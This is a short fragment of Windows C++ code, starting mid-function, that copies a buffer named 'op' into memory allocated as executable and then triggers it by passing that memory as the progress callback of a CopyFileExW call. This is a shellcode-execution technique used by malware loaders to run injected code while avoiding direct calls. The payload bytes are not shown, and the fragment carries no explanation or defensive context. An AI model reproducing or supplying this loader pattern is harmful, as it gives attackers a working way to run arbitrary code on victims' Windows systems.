LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

::RtlMoveMemory(addr, op, sizeof(op));

::DeleteFileW(L"C:\\Windows\\Temp\\backup.log");

::CopyFileExW(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", (LPPROGRESS_ROUTINE)addr, NULL, FALSE, COPY_FILE_FAIL_IF_EXISTS);

}